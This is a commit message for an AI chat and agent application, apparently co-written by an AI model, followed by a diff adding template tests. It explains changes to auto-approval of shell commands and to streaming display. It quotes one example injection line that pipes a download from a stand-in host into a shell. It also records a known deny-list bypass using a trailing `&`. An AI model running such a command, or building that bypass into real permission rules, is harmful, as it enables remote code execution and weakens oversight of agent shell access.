A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

tests/test_tool_activity.py

@@ -290,3 +290,66 @@ def test_an_event_without_an_explanation_renders_no_empty_line():
         {"name": "shell_run", "kind": "agent", "query": "ls", "status": "ok", "results": []}
     )
     assert "tool-activity__why" not in html
+
+
+# --- The ids that carry an opened block across a swap --------------------------
+def test_a_block_carries_an_id_built_from_where_it_sits():
+    """`steps.js` records which are open before a swap and puts them back after,
+    keyed on these. The step index comes from a mark and the marks are
+    append-only, so index N always means the same call."""
+    html = templates.get_template("chat/_tool_activity.html").render(
+        {
+            "tool_events": [{"name": "file_read"}, {"name": "shell_run"}],
+            "message_id": "m1",
+            "step_index": 3,
+            "live": True,
+        }
+    )
+
+    assert 'id="tool-m1-3-0"' in html
+    assert 'id="tool-m1-3-1"' in html
+
+
+def test_ids_are_unique_within_one_bubble():
+    """Two steps, two calls each. Without the step index every block in the
+    reply would be `tool-m1-0-0` or `tool-m1-0-1`, and restoring one open block
+    would open four."""
+    seen = []
+    for index in (0, 1):
+        html = templates.get_template("chat/_tool_activity.html").render(
+            {
+                "tool_events": [{"name": "a"}, {"name": "b"}],
+                "message_id": "m1",
+                "step_index": index,
+                "live": False,
+            }
+        )
+        seen += re.findall(r'id="(tool-[^"]+)"', html)
+
+    assert len(seen) == len(set(seen)) == 4
+
+
+def test_a_caller_with_no_message_emits_no_id_at_all():
+    """Rather than the same id in every bubble on the page, which is worse than
+    none: `document.querySelector` would find the first one and restore the
+    wrong block."""
+    html = templates.get_template("chat/_tool_activity.html").render(
+        {"tool_events": [{"name": "a"}], "live": False}
+    )
+
+    assert "id=" not in html
+
+
+def test_the_live_and_the_stored_render_agree_about_the_id():
+    """The property the whole open-state restore depends on. If these differed,
+    everything a reader had expanded would shut at the moment the reply
+    finished -- the one moment they are most likely to be reading it."""
+    events = [{"name": "shell_run"}]
+    live = templates.get_template("chat/_tool_activity.html").render(
+        {"tool_events": events, "message_id": "m1", "step_index": 2, "live": True}
+    )
+    stored = templates.get_template("chat/_tool_activity.html").render(
+        {"tool_events": events, "message_id": "m1", "step_index": 2, "live": False}
+    )
+
+    assert re.findall(r'id="([^"]+)"', live) == re.findall(r'id="([^"]+)"', stored)